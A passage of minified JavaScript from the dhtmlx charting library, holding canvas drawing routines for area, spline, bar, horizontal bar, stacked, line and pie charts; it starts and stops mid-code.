D==\"object\"?D.y0:D);if(D.out){e=(D.out==\"min\"?g.y:h.y);m.push([this._calcOverflowX(v,u,c,a,e),e])}if(C.out){e=(C.out==\"min\"?g.y:h.y);m.push([this._calcOverflowX(v,u,c,a,e),e]);if(s==(E.length-1)&&e==h.y){m.push([u,h.y])}}}if(!C.out){m.push([u,a]);A.addRect(l.id,[u-q-h.x,a-q-h.y,u+q-h.x,a+q-h.y],o)}if(!y.yAxis){r=(!y.offset&&(s==E.length-1)?\"left\":\"center\");this.canvases[o].renderTextAt(false,r,u,a-y.labelOffset,y.label(l))}}}if(m.length){m.push([u,g.y]);m.push([m[0][0],g.y])}n.globalAlpha=this._settings.alpha.call(this,E[0]);n.fillStyle=this._settings.color.call(this,E[0]);n.beginPath();this._path(n,m);n.fill();if(y.border){n.lineWidth=y.borderWidth||1;if(y.borderColor){n.strokeStyle=y.borderColor.call(this,E[0])}else{this._setBorderStyles(n,n.fillStyle)}n.beginPath();this._path(n,m);n.stroke()}n.lineWidth=1;n.globalAlpha=1}}};dhtmlx.chart.stackedArea={pvt_render_stackedArea:function(o,F,c,a,q,D){var I,H,u,C,w,v,h,s,l,A,n,g,e,m;A=this._calculateLineParams(o,F,c,a,q);C=this._settings;s=(C.eventRadius||Math.floor(A.cellWidth/2));if(F.length){n=[];m=[];g=(!C.offset?c.x:c.x+A.cellWidth*0.5);var E=function(x,J){return q?(F[x].$startY?J-a.y+F[x].$startY:0):J};var r=function(y,L,K){var J=(K.y-L.y)/(K.x-L.x);return J*y+L.y-J*L.x};for(w=0;w<F.length;w++){l=F[w];if(!w){e=E(w,a.y);n.push([g,e])}else{g+=A.cellWidth}e=E(w,this._getPointY(l,c,a,A));m.push((isNaN(e)&&!w)?(F[w].$startY||a.y):e);if(e){n.push([g,e]);D.addRect(l.id,[g-s-c.x,e-s-c.y,g+s-c.x,e+s-c.y],q);if(!C.yAxis){u=(!C.offset&&h?\"left\":\"center\");this.canvases[q].renderTextAt(false,u,g,e-C.labelOffset,C.label(l))}}}n.push([g,E(w-1,a.y)]);if(q){for(w=F.length-2;w>0;w--){g-=A.cellWidth;e=F[w].$startY;if(e){n.push([g,e])}}}n.push([n[0][0],n[0][1]]);o.globalAlpha=this._settings.alpha.call(this,F[0]);o.fillStyle=this._settings.color.call(this,F[0]);o.beginPath();this._path(o,n);o.fill();for(w=0;w<F.length;w++){e=m[w];if(!e){if(w==F.length-1){e=F[w].$startY}for(v=w+1;v<F.length;v++){if(m[v]){I={x:c.x,y:m[0]};H={x:(c.x+A.cellWidth*v),y:m[v]};e=r(c.x+A.cellWidth*w,I,H);break}}}F[w].$startY=e}}}};dhtmlx.chart.spline={pvt_render_spline:function(o,H,g,e,q,F){var E,s,n,r,D,m,l,w,v,u,h,c,a;D=this._calculateLineParams(o,H,g,e,q);E=this._settings;this._mapStart=g;n=[];if(H.length){w=(E.offset?g.x+D.cellWidth*0.5:g.x);for(s=0;s<H.length;s++){h=this._getPointY(H[s],g,e,D);if(h){l=((!s)?w:D.cellWidth*s-0.5+w);n.push({x:l,y:h,index:s})}}m=this._getSplineParameters(n);for(s=0;s<n.length;s++){v=n[s].x;c=n[s].y;if(s<n.length-1){u=n[s+1].x;a=n[s+1].y;for(r=v;r<u;r++){var C=this._getSplineYPoint(r,v,s,m.a,m.b,m.c,m.d);if(C<g.y){C=g.y}if(C>e.y){C=e.y}var A=this._getSplineYPoint(r+1,v,s,m.a,m.b,m.c,m.d);if(A<g.y){A=g.y}if(A>e.y){A=e.y}this._drawLine(o,r,C,r+1,A,E.line.color(H[s]),E.line.width)}this._drawLine(o,u-1,this._getSplineYPoint(r,v,s,m.a,m.b,m.c,m.d),u,a,E.line.color(H[s]),E.line.width)}this._drawItem(o,v,c,H[n[s].index],E.label(H[n[s].index]),q,F)}}},_getSplineParameters:function(y){var l,C,A,D,x,w,r,q,o=[],g=[],e=y.length;for(l=0;l<e-1;l++){o[l]=y[l+1].x-y[l].x;g[l]=(y[l+1].y-y[l].y)/o[l]}C=[];A=[];C[0]=0;C[1]=2*(o[0]+o[1]);A[0]=0;A[1]=6*(g[1]-g[0]);for(l=2;l<e-1;l++){C[l]=2*(o[l-1]+o[l])-o[l-1]*o[l-1]/C[l-1];A[l]=6*(g[l]-g[l-1])-o[l-1]*A[l-1]/C[l-1]}D=[];D[e-1]=D[0]=0;for(l=e-2;l>=1;l--){D[l]=(A[l]-o[l]*D[l+1])/C[l]}x=[];w=[];r=[];q=[];for(l=0;l<e-1;l++){x[l]=y[l].y;w[l]=-o[l]*D[l+1]/6-o[l]*D[l]/3+(y[l+1].y-y[l].y)/o[l];r[l]=D[l]/2;q[l]=(D[l+1]-D[l])/(6*o[l])}return{a:x,b:w,c:r,d:q}},_getSplineYPoint:function(g,l,m,h,e,o,n){return h[m]+(g-l)*(e[m]+(g-l)*(o[m]+(g-l)*n[m]))}};dhtmlx.chart.barH={pvt_render_barH:function(y,M,l,h,A,L){var q,s,D,C,a,F,n,J,u,K,c,w,m,H,v,g,x,r,I,e,o;D=(h.y-l.y)/M.length;n=this._getLimits(\"h\");J=n.max;u=n.min;g=h.x-l.x;o=!!this._settings.yAxis;if(!A){this._drawHScales(y,M,l,h,u,J,D)}if(o){J=parseFloat(this._settings.xAxis.end);u=parseFloat(this._settings.xAxis.start)}H=this._getRelativeValue(u,J);w=H[0];c=H[1];r=(w?g/w:10);if(!o){v=10;r=(w?(g-v)/w:10)}s=parseInt(this._settings.width,10);if((s*this._series.length+4)>D){s=D/this._series.length-4}q=Math.floor((D-s*this._series.length)/2);m=(typeof this._settings.radius!=\"undefined\"?parseInt(this._settings.radius,10):Math.round(s/5));K=false;a=this._settings.gradient;if(a&&typeof(a)!=\"function\"){K=a;a=false}else{if(a){a=y.createLinearGradient(l.x,l.y,h.x,l.y);this._settings.gradient(a)}}if(!o){this._drawLine(y,l.x-0.5,l.y,l.x-0.5,h.y,\"#000000\",1)}for(F=0;F<M.length;F++){x=parseFloat(this._settings.value(M[F]||0));if(x>J){x=J}x-=u;x*=c;I=l.x;e=l.y+q+F*D+(s+1)*A;if((x<0&&this._settings.origin==\"auto\")||(this._settings.xAxis&&x===0&&!(this._settings.origin!=\"auto\"&&this._settings.origin>u))){this.canvases[A].renderTextAt(\"middle\",\"right\",I+10,e+s/2+q,this._settings.label(M[F]));continue}if(x<0&&this._settings.origin!=\"auto\"&&this._settings.origin>u){x=0}if(!o){x+=v/r}C=a||this._settings.color.call(this,M[F]);if(this._settings.border){this._drawBarHBorder(y,I,e,s,u,m,r,x,C)}y.globalAlpha=this._settings.alpha.call(this,M[F]);var E=this._drawBarH(y,h,I,e,s,u,m,r,x,C,a,K);if(K!=false){this._drawBarHGradient(y,I,e,s,u,m,r,x,C,K)}y.globalAlpha=1;if(E[3]==e){this.canvases[A].renderTextAt(\"middle\",\"left\",E[0]-5,E[3]+Math.floor(s/2),this._settings.label(M[F]));L.addRect(M[F].id,[E[0]-l.x,E[3]-l.y,E[2]-l.x,E[3]+s-l.y],A)}else{this.canvases[A].renderTextAt(\"middle\",false,E[2]+5,E[1]+Math.floor(s/2),this._settings.label(M[F]));L.addRect(M[F].id,[E[0]-l.x,e-l.y,E[2]-l.x,E[3]-l.y],A)}}},_setBarHPoints:function(w,g,u,x,m,v,s,l,h){var c=0;if(m>v*s){var r=(m-v*s)/m;c=-Math.asin(r)+Math.PI/2}w.moveTo(g,u+l);var e=g+v*s-m-(m?0:l);if(m<v*s){w.lineTo(e,u+l)}var q=u+m;if(m&&m>0){w.arc(e,q,m-l,-Math.PI/2+c,0,false)}var o=u+x-m-(m?0:l);var a=e+m-(m?l:0);w.lineTo(a,o);if(m&&m>0){w.arc(e,o,m-l,0,Math.PI/2-c,false)}var n=u+x-l;w.lineTo(g,n);if(!h){w.lineTo(g,u+l)}return[a,n]},_drawHScales:function(e,m,l,h,n,c,g){var a=0;if(this._settings.xAxis){if(!this.canvases.x){this.canvases.x=new dhtmlx.ui.Canvas(this._obj)}a=this._drawHXAxis(this.canvases.x.getCanvas(),m,l,h,n,c)}if(this._settings.yAxis){if(!this.canvases.y){this.canvases.y=new dhtmlx.ui.Canvas(this._obj)}this._drawHYAxis(this.canvases.y.getCanvas(),m,l,h,g,a)}},_drawHYAxis:function(s,h,o,m,e,a){if(!this._settings.yAxis){return}var l;var c=parseInt((a?a:o.x),10)-0.5;var q=m.y+0.5;var n=o.y;this._drawLine(s,c,q,c,n,this._settings.yAxis.color,1);for(var g=0;g<h.length;g++){var r=((this._settings.origin!=\"auto\")&&(this._settings.view==\"barH\")&&(parseFloat(this._settings.value(h[g]))<this._settings.origin));l=n+e/2+g*e;this.canvases.y.renderTextAt(\"middle\",(r?false:\"left\"),(r?c+5:c-5),l,this._settings.yAxis.template(h[g]),\"dhx_axis_item_y\",(r?0:c-10));if(this._settings.yAxis.lines.call(this,h[g])){this._drawLine(s,o.x,l,m.x,l,this._settings.yAxis.lineColor.call(this,h[g]),1)}}this._drawLine(s,o.x+0.5,n+0.5,m.x,n+0.5,this._settings.yAxis.lineColor.call(this,{}),1);this._setYAxisTitle(o,m)},_drawHXAxis:function(A,s,x,w,e,o){var m;var h={};var n=this._settings.xAxis;if(!n){return}var y=w.y+0.5;var g=x.x-0.5;var a=w.x-0.5;var r=x.x;this._drawLine(A,g,y,a,y,n.color,1);if(n.step){m=parseFloat(n.step)}if(typeof this._configXAxis.step==\"undefined\"||typeof this._configXAxis.start==\"undefined\"||typeof this._configXAxis.end==\"undefined\"){h=this._calculateScale(e,o);e=h.start;o=h.end;m=h.step;this._settings.xAxis.end=o;this._settings.xAxis.start=e;this._settings.xAxis.step=m}if(m===0){return}var l=(a-g)*m/(o-e);var v=0;for(var q=e;q<=o;q+=m){if(h.fixNum){q=parseFloat((new Number(q)).toFixed(h.fixNum))}var u=Math.floor(g+v*l)+0.5;if(!(q==e&&this._settings.origin==\"auto\")&&n.lines.call(this,q)){this._drawLine(A,u,y,u,x.y,this._settings.xAxis.lineColor.call(this,q),1)}if(q==this._settings.origin){r=u+1}this.canvases.x.renderTextAt(false,true,u,y+2,n.template(q.toString()),\"dhx_axis_item_x\");v++}this.canvases.x.renderTextAt(true,false,g,w.y+this._settings.padding.bottom-3,this._settings.xAxis.title,\"dhx_axis_title_x\",w.x-x.x);if(!n.lines.call(this,{})){this._drawLine(A,g,x.y-0.5,a,x.y-0.5,this._settings.xAxis.color,0.2)}return r},_correctBarHParams:function(n,h,e,l,m,o,g){var a=this._settings.yAxis;var c=h;if(!!a&&this._settings.origin!=\"auto\"&&(this._settings.origin>g)){h+=(this._settings.origin-g)*m;c=h;l=l-(this._settings.origin-g);if(l<0){l*=(-1);n.translate(h,e+o);n.rotate(Math.PI);h=0.5;e=0}h+=0.5}return{value:l,x0:h,y0:e,start:c}},_drawBarH:function(u,h,A,g,o,q,l,n,s,v,a,m){u.save();var r=this._correctBarHParams(u,A,g,s,n,o,q);u.fillStyle=v;u.beginPath();var w=this._setBarHPoints(u,r.x0,r.y0,o,l,n,r.value,(this._settings.border?1:0));if(a&&!m){u.lineTo(h.x,r.y0+(this._settings.border?1:0))}u.fill();u.restore();var e=r.y0;var c=(r.y0!=g?g:w[1]);var y=(r.y0!=g?(r.start-w[0]):r.start);var x=(r.y0!=g?r.start:w[0]);return[y,e,x,c]},_drawBarHBorder:function(o,c,m,q,h,g,n,l,e){o.save();var a=this._correctBarHParams(o,c,m,l,n,q,h);o.beginPath();this._setBorderStyles(o,e);o.globalAlpha=0.9;this._setBarHPoints(o,a.x0,a.y0,q,g,n,a.value,o.lineWidth/2,1);o.stroke();o.restore()},_drawBarHGradient:function(r,e,o,s,m,l,q,n,g,a){r.save();var c=this._correctBarHParams(r,e,o,n,q,s,m);var h=this._setBarGradient(r,c.x0,c.y0+s,c.x0+q*c.value,c.y0,a,g,\"x\");r.fillStyle=h.gradient;r.beginPath();this._setBarHPoints(r,c.x0,c.y0+h.offset,s-h.offset*2,l,q,c.value,h.offset);r.fill();r.globalAlpha=1;r.restore()}};dhtmlx.assert(dhtmlx.chart.barH);dhtmlx.chart.stackedBarH={pvt_render_stackedBarH:function(C,P,h,g,D,O){var N,v;var c;var w;var y=g.x-h.x;var n=!!this._settings.yAxis;var m=this._getStackedLimits(P);N=m.max;v=m.min;var F=Math.floor((g.y-h.y)/P.length);if(!D){this._drawHScales(C,P,h,g,v,N,F)}if(n){N=parseFloat(this._settings.xAxis.end);v=parseFloat(this._settings.xAxis.start)}var K=this._getRelativeValue(v,N);w=K[0];c=K[1];var s=(w?y/w:10);if(!n){var x=10;s=(w?(y-x)/w:10)}var u=parseInt(this._settings.width,10);if((u+4)>F){u=F-4}var o=(F-u)/2;var l=0;var q=false;var a=this._settings.gradient;if(a){q=true}if(!n){this._drawLine(C,h.x-0.5,h.y,h.x-0.5,g.y,\"#000000\",1)}var M=0;var J=0;for(I=0;I<this._series.length;I++){if(I==D){J=M}if(this._series[I].view==\"stackedBarH\"){M++}}for(var I=0;I<P.length;I++){if(!J){P[I].$startX=h.x}var A=parseFloat(this._settings.value(P[I]||0));if(A>N){A=N}A-=v;A*=c;var L=h.x;var e=h.y+o+I*F;if(!J){P[I].$startX=L}else{L=P[I].$startX}if(A<0||(this._settings.yAxis&&A===0)){this.canvases.y.renderTextAt(\"middle\",true,L+10,e+u/2,this._settings.label(P[I]));continue}if(!n){A+=x/s}var E=this._settings.color.call(this,P[I]);C.globalAlpha=this._settings.alpha.call(this,P[I]);C.fillStyle=this._settings.color.call(this,P[I]);C.beginPath();var H=this._setBarHPoints(C,L,e,u,l,s,A,(this._settings.border?1:0));if(a&&!q){C.lineTo(h.x+y,e+(this._settings.border?1:0))}C.fill();if(q!=false){var r=this._setBarGradient(C,L,e+u,L,e,q,E,\"x\");C.fillStyle=r.gradient;C.beginPath();H=this._setBarHPoints(C,L,e,u,l,s,A,0);C.fill()}if(this._settings.border){this._drawBarHBorder(C,L,e,u,v,l,s,A,E)}C.globalAlpha=1;this.canvases[D].renderTextAt(\"middle\",true,P[I].$startX+(H[0]-P[I].$startX)/2-1,e+(H[1]-e)/2,this._settings.label(P[I]));O.addRect(P[I].id,[P[I].$startX-h.x,e-h.y,H[0]-h.x,H[1]-h.y],D);P[I].$startX=H[0]}}};dhtmlx.chart.stackedBar={pvt_render_stackedBar:function(x,L,g,e,y,K){var I,s;var a;var u;var v=e.y-g.y;var l=!!this._settings.yAxis;var J=!!this._settings.xAxis;var h=this._getStackedLimits(L);I=h.max;s=h.min;var C=Math.floor((e.x-g.x)/L.length);if(!y){this._drawScales(L,g,e,s,I,C)}if(l){I=parseFloat(this._settings.yAxis.end);s=parseFloat(this._settings.yAxis.start)}var F=this._getRelativeValue(s,I);u=F[0];a=F[1];var q=(u?v/u:10);var r=parseInt(this._settings.width,10);if(r+4>C){r=C-4}var m=Math.floor((C-r)/2);var n=(this._settings.gradient?this._settings.gradient:false);if(!J){this._drawLine(x,g.x,e.y+0.5,e.x,e.y+0.5,\"#000000\",1)}for(var E=0;E<L.length;E++){var w=parseFloat(this._settings.value(L[E]||0));if(!w){if(!y||!L[E].$startY){L[E].$startY=e.y}continue}if(!y){w-=s}w*=a;var H=g.x+m+E*C;var c=e.y;if(!y){L[E].$startY=c}else{c=L[E].$startY}if(c<(g.y+1)){continue}if(w<0||(this._settings.yAxis&&w===0)){this.canvases.y.renderTextAt(true,true,H+Math.floor(r/2),c,this._settings.label(L[E]));continue}var A=this._settings.color.call(this,L[E]);x.globalAlpha=this._settings.alpha.call(this,L[E]);x.fillStyle=this._settings.color.call(this,L[E]);x.beginPath();var D=this._setStakedBarPoints(x,H-(this._settings.border?0.5:0),c,r+(this._settings.border?0.5:0),q,w,0,g.y);x.fill();if(n){x.save();var o=this._setBarGradient(x,H,c,H+r,D[1],n,A,\"y\");x.fillStyle=o.gradient;x.beginPath();D=this._setStakedBarPoints(x,H+o.offset,c,r-o.offset*2,q,w,(this._settings.border?1:0),g.y);x.fill();x.restore()}if(this._settings.border){x.save();this._setBorderStyles(x,A);x.beginPath();this._setStakedBarPoints(x,H-0.5,c,r+1,q,w,0,g.y,1);x.stroke();x.restore()}x.globalAlpha=1;this.canvases[y].renderTextAt(false,true,H+Math.floor(r/2),(D[1]+(c-D[1])/2)-7,this._settings.label(L[E]));K.addRect(L[E].id,[H-g.x,D[1]-g.y,D[0]-g.x,(L[E].$startY||c)-g.y],y);L[E].$startY=(this._settings.border?(D[1]+1):D[1])}},_setStakedBarPoints:function(s,c,o,u,q,n,g,e,h){s.moveTo(c,o);var m=o-q*n+g;if(m<e){m=e}s.lineTo(c,m);var a=c+u;var l=m;s.lineTo(a,l);var r=c+u;s.lineTo(r,o);if(!h){s.lineTo(c,o)}return[r,l-2*g]}};dhtmlx.chart.line={pvt_render_line:function(m,A,h,g,n,x){var w,o,l,u,s,r,q,c,a,e,y,v;u=this._calculateLineParams(m,A,h,g,n);w=this._settings;if(A.length){s=(w.offset?h.x+u.cellWidth*0.5:h.x);l=[];for(o=0;o<A.length;o++){v=this._getPointY(A[o],h,g,u);if(v){q=((!o)?s:u.cellWidth*o-0.5+s);a=(typeof v==\"object\"?v.y0:v);if(o&&this._settings.fixOverflow){y=this._getPointY(A[o-1],h,g,u);if(y.out&&y.out==v.out){continue}r=u.cellWidth*(o-1)-0.5+s;c=(typeof y==\"object\"?y.y0:y);if(y.out){e=(y.out==\"min\"?g.y:h.y);l.push({x:this._calcOverflowX(r,q,c,a,e),y:e})}if(v.out){e=(v.out==\"min\"?g.y:h.y);l.push({x:this._calcOverflowX(r,q,c,a,e),y:e})}}if(!v.out){l.push({x:q,y:v,index:o})}}}this._mapStart=h;for(o=1;o<=l.length;o++){r=l[o-1].x;c=l[o-1].y;if(o<l.length){q=l[o].x;a=l[o].y;this._drawLine(m,r,c,q,a,w.line.color.call(this,A[o-1]),w.line.width);if(w.line&&w.line.shadow){m.globalAlpha=0.3;this._drawLine(m,r+2,c+w.line.width+8,q+2,a+w.line.width+8,\"#eeeeee\",w.line.width+3);m.globalAlpha=1}}if(typeof l[o-1].index!=\"undefined\"){this._drawItem(m,r,c,A[l[o-1].index],w.label(A[l[o-1].index]),n,x,h)}}}},_calcOverflowX:function(c,a,g,e,h){return c+(h-g)*(a-c)/(e-g)},_drawItem:function(u,e,s,o,r,q,c){var g=this._settings.item;var n=parseInt(g.radius.call(this,o),10)||0;var m=this._mapStart;if(n){u.save();if(g.shadow){u.lineWidth=1;u.strokeStyle=\"#bdbdbd\";u.fillStyle=\"#bdbdbd\";var a=[0.1,0.2,0.3];for(var l=(a.length-1);l>=0;l--){u.globalAlpha=a[l];u.strokeStyle=\"#d0d0d0\";u.beginPath();this._strokeChartItem(u,e,s+2*n/3,n+l+1,g.type);u.stroke()}u.beginPath();u.globalAlpha=0.3;u.fillStyle=\"#bdbdbd\";this._strokeChartItem(u,e,s+2*n/3,n+1,g.type);u.fill()}u.restore();u.lineWidth=g.borderWidth;u.fillStyle=g.color.call(this,o);u.strokeStyle=g.borderColor.call(this,o);u.globalAlpha=g.alpha.call(this,o);u.beginPath();this._strokeChartItem(u,e,s,n+1,g.type);u.fill();u.stroke();u.globalAlpha=1}if(r){this.canvases[q].renderTextAt(false,true,e,s-n-this._settings.labelOffset,this._settings.label.call(this,o))}var h=(this._settings.eventRadius||n+1);c.addRect(o.id,[e-h-m.x,s-h-m.y,e+h-m.x,s+h-m.y],q)},_strokeChartItem:function(a,c,h,g,e){var l=[];c=parseInt(c,10);h=parseInt(h,10);if(e&&(e==\"square\"||e==\"s\")){g*=Math.sqrt(2)/2;l=[[c-g-a.lineWidth/2,h-g],[c+g,h-g],[c+g,h+g],[c-g,h+g],[c-g,h-g]]}else{if(e&&(e==\"diamond\"||e==\"d\")){var m=(a.lineWidth>1?a.lineWidth*Math.sqrt(2)/4:0);l=[[c,h-g],[c+g,h],[c,h+g],[c-g,h],[c+m,h-g-m]]}else{if(e&&(e==\"triangle\"||e==\"t\")){l=[[c,h-g],[c+Math.sqrt(3)*g/2,h+g/2],[c-Math.sqrt(3)*g/2,h+g/2],[c,h-g]]}else{l=[[c,h,g,0,Math.PI*2,true]]}}}this._path(a,l)},_getPointY:function(e,n,l,a){var m=a.minValue;var g=a.maxValue;var q=a.unit;var c=a.valueFactor;var o=this._settings.value(e);var r=(parseFloat(o||0)-m)*c;if(!this._settings.yAxis){r+=a.startValue/q}var h=l.y-q*r;if(this._settings.fixOverflow&&(this._settings.view==\"line\"||this._settings.view==\"area\")){if(o>g){h={y:n.y,y0:h,out:\"max\"}}else{if(r<0||o<m){h={y:l.y,y0:h,out:\"min\"}}}}else{if(o>g){h=n.y}if(r<0||o<m){h=l.y}}return h},_calculateLineParams:function(o,g,m,l,h){var c={};var q;c.totalHeight=l.y-m.y;c.cellWidth=(l.x-m.x)/((!this._settings.offset)?(g.length-1):g.length);var e=!!this._settings.yAxis;var a=(this._settings.view.indexOf(\"stacked\")!=-1?this._getStackedLimits(g):this._getLimits());c.maxValue=a.max;c.minValue=a.min;if(!h){this._drawScales(g,m,l,c.minValue,c.maxValue,c.cellWidth)}if(e){c.maxValue=parseFloat(this._settings.yAxis.end);c.minValue=parseFloat(this._settings.yAxis.start)}var n=this._getRelativeValue(c.minValue,c.maxValue);q=n[0];c.valueFactor=n[1];c.unit=(q?c.totalHeight/q:10);c.startValue=0;if(!e){c.startValue=10;if(c.unit!=c.totalHeight){c.unit=(q?(c.totalHeight-c.startValue)/q:10)}}return c}};dhtmlx.chart.bar={pvt_render_bar:function(y,P,h,g,A,O){var s,D,H,m,M,u,v,c,I,w,r,L,n,N=g.y-h.y;n=!!this._settings.yAxis;L=!!this._settings.xAxis;m=this._getLimits();M=m.max;u=m.min;D=(g.x-h.x)/P.length;if(!A&&!(this._settings.origin!=\"auto\"&&!n)){this._drawScales(P,h,g,u,M,D)}if(n){M=parseFloat(this._settings.yAxis.end);u=parseFloat(this._settings.yAxis.start)}I=this._getRelativeValue(u,M);v=I[0];c=I[1];r=(v?N/v:v);if(!n&&!(this._settings.origin!=\"auto\"&&L)){w=10;r=(v?(N-w)/v:w)}if(!A&&(this._settings.origin!=\"auto\"&&!n)&&this._settings.origin>u){this._drawXAxis(y,P,h,g,D,g.y-r*(this._settings.origin-u))}s=parseInt(this._settings.width,10);var K=0;var F=0;for(H=0;H<this._series.length;H++){if(H==A){F=K}if(this._series[H].view==\"bar\"){K++}}if(this._series&&(s*K+4)>D){s=parseInt(D/K-4,10)}var o=(D-s*K)/2;var l=(typeof this._settings.radius!=\"undefined\"?parseInt(this._settings.radius,10):Math.round(s/5));var q=false;var a=this._settings.gradient;if(a&&typeof(a)!=\"function\"){q=a;a=false}else{if(a){a=y.createLinearGradient(0,g.y,0,h.y);this._settings.gradient(a)}}if(!L){this._drawLine(y,h.x,g.y+0.5,g.x,g.y+0.5,\"#000000\",1)}for(H=0;H<P.length;H++){var x=parseFloat(this._settings.value(P[H])||0);if(isNaN(x)){continue}if(x>M){x=M}x-=u;x*=c;var J=h.x+o+parseInt(H*D,10)+(s+1)*F;var e=g.y;if(x<0||(this._settings.yAxis&&x===0&&!(this._settings.origin!=\"auto\"&&this._settings.origin>u))){this.canvases[A].renderTextAt(true,true,J+Math.floor(s/2),e,this._settings.label(P[H]));continue}if(!n&&!(this._settings.origin!=\"auto\"&&L)){x+=w/r}var C=a||this._settings.color.call(this,P[H]);y.globalAlpha=this._settings.alpha.call(this,P[H]);var E=this._drawBar(y,h,J,e,s,u,l,r,x,C,a,q);if(q){this._drawBarGradient(y,J,e,s,u,l,r,x,C,q)}if(this._settings.border){this._drawBarBorder(y,J,e,s,u,l,r,x,C)}y.globalAlpha=1;if(E[0]!=J){this.canvases[A].renderTextAt(false,true,J+Math.floor(s/2),E[1],this._settings.label(P[H]))}else{this.canvases[A].renderTextAt(true,true,J+Math.floor(s/2),E[3],this._settings.label(P[H]))}O.addRect(P[H].id,[J-h.x,E[3]-h.y,E[2]-h.x,E[1]-h.y],A)}},_correctBarParams:function(n,h,e,l,m,o,g){var a=this._settings.xAxis;var c=e;if(!!a&&this._settings.origin!=\"auto\"&&(this._settings.origin>g)){e-=(this._settings.origin-g)*m;c=e;l=l-(this._settings.origin-g);if(l<0){l*=(-1);n.translate(h+o,e);n.rotate(Math.PI);h=0;e=0}e-=0.5}return{value:l,x0:h,y0:e,start:c}},_drawBar:function(u,h,A,g,o,q,l,n,s,v,a,m){u.save();u.fillStyle=v;var r=this._correctBarParams(u,A,g,s,n,o,q);var w=this._setBarPoints(u,r.x0,r.y0,o,l,n,r.value,(this._settings.border?1:0));if(a&&!m){u.lineTo(r.x0+(this._settings.border?1:0),h.y)}u.fill();u.restore();var y=r.x0;var x=(r.x0!=A?A+w[0]:w[0]);var e=(r.x0!=A?(r.start-w[1]-r.y0):r.y0);var c=(r.x0!=A?r.start-r.y0:w[1]);return[y,e,x,c]},_drawBarBorder:function(o,c,m,q,h,g,n,l,e){var a;o.save();a=this._correctBarParams(o,c,m,l,n,q,h);this._setBorderStyles(o,e);this._setBarPoints(o,a.x0,a.y0,q,g,n,a.value,o.lineWidth/2,1);o.stroke();o.restore()},_drawBarGradient:function(s,g,q,u,n,m,r,o,h,c){s.save();var e=this._correctBarParams(s,g,q,o,r,u,n);var l=this._setBarGradient(s,e.x0,e.y0,e.x0+u,e.y0-r*e.value+2,c,h,\"y\");var a=this._settings.border?1:0;s.fillStyle=l.gradient;this._setBarPoints(s,e.x0+l.offset,e.y0,u-l.offset*2,m,r,e.value,l.offset+a);s.fill();s.restore()},_setBarPoints:function(w,g,s,x,n,u,r,h,m){w.beginPath();var c=0;if(n>u*r){var l=(n-u*r)/n;if(l<=1&&l>=-1){c=-Math.acos(l)+Math.PI/2}}w.moveTo(g+h,s);var q=s-Math.floor(u*r)+n+(n?0:h);if(n<u*r){w.lineTo(g+h,q)}var e=g+n;if(n&&n>0){w.arc(e,q,n-h,-Math.PI+c,-Math.PI/2,false)}var a=g+x-n-h;var o=q-n+(n?h:0);w.lineTo(a,o);if(n&&n>0){w.arc(a,q,n-h,-Math.PI/2,0-c,false)}var v=g+x-h;w.lineTo(v,s);if(!m){w.lineTo(g+h,s)}return[v,o]}};dhtmlx.chart.pie={pvt_render_pie:function(c,g,a,l,e,h){this._renderPie(c,g,a,l,1,h,e)},_renderPie:function(r,E,h,g,C,D,s){if(!E.length){return}var u=this._getPieParameters(h,g);var m=(this._settings.radius?this._settings.radius:u.radius);if(m<0){return}var a=this._getValues(E);var l=this._getTotalValue(a);var n=this._getRatios(a,l);var A=(this._settings.x?this._settings.x:u.x);var e=(this._settings.y?this._settings.y:u.y);if(C==1&&this._settings.shadow){this._addShadow(r,A,e,m)}e=e/C;var q=-Math.PI/2;var w=[];r.scale(1,C);if(this._settings.gradient){var y=(C!=1?A+m/3:A);var c=(C!=1?e+m/3:e);this._showRadialGradient(r,A,e,m,y,c)}for(var x=0;x<E.length;x++){if(!a[x]){continue}r.strokeStyle=this._settings.lineColor.call(this,E[x]);r.beginPath();r.moveTo(A,e);w.push(q);alpha1=-Math.PI/2+n[x]-0.0001;r.arc(A,e,m,q,alpha1,false);r.lineTo(A,e);var v=this._settings.color.call(this,E[x]);r.fillStyle=v;r.fill();if(this._settings.pieInnerText){this._drawSectorLabel(A,e,5*m/6,q,alpha1,C,this._settings.pieInnerText(E[x],l),true)}if(this._settings.label){this._drawSectorLabel(A,e,m+this._settings.labelOffset,q,alpha1,C,this._settings.label(E[x]))}if(C!=1){this._createLowerSector(r,A,e,q,alpha1,m,true);r.fillStyle=\"#000000\";r.globalAlpha=0.2;this._createLowerSector(r,A,e,q,alpha1,m,false);r.globalAlpha=1;r.fillStyle=v}D.addSector(E[x].id,q,alpha1,A-h.x,e-h.y/C,m,C,s);q=alpha1}r.globalAlpha=0.8;var o;for(x=0;x<w.length;x++){o=this._getPositionByAngle(w[x],A,e,m);this._drawLine(r,A,e,o.x,o.y,this._settings.lineColor.call(this,E[x]),2)}if(C==1){r.lineWidth=2;r.strokeStyle=\"#ffffff\";r.beginPath();r.arc(A,e,m+1,0,2*Math.PI,false);r.stroke()}r.globalAlpha=1;r.scale(1,1/C)},_getValues:function(e){var a=[];for(var c=0;c<e.length;c++){a.push(parseFloat(this._settings.value(e[c])||0))}return a},_getTotalValue:function(a){var e=0;for(var c=0;c<a.length;c++){e+=a[c]}return e},_getRatios:function(c,a){var l;var h=[];var g=0;a=a||this._getTotalValue(c);for(var e=0;e<c.length;e++){l=c[e];h[e]=Math.PI*2*(a?((l+g)/a):(1/c.length));g+=l}return h},_getPieParameters:function(m,h){var g=h.x-m.x;var c=h.y-m.y;var e=m.x+g/2;var l=m.y+c/2;var a=Math.min(g/2,c/2);return{x:e,y:l,radius:a}},_createLowerSector:function(g,h,m,e,a,l,c){g.lineWidth=1;if(!((e<=0&&a>=0)||(e>=0&&a<=Math.PI)||(Math.abs(e-Math.PI)>0.003&&e<=Math.PI&&a>=Math.PI))){return}if(e<=0&&a>=0){e=0;c=false;this._drawSectorLine(g,h,m,l,e,a)}if(e<=Math.PI&&a>=Math.PI){a=Math.PI;c=false;this._drawSectorLine(g,h,m,l,e,a)}var n=(this._settings.height||Math.floor(l/4))/this._settings.cant;g.beginPath();g.arc(h,m,l,e,a,false);g.lineTo(h+l*Math.cos(a),m+l*Math.sin(a)+n);g.arc(h,m+n,l,a,e,true);g.lineTo(h+l*Math.cos(e),m+l*Math.sin(e));g.fill();if(c){g.stroke()}},_drawSectorLine:function(e,g,l,h,c,a){e.beginPath();e.arc(g,l,h,c,a,false);e.stroke()},_addShadow:function(c,a,l,g){c.globalAlpha=0.5;var 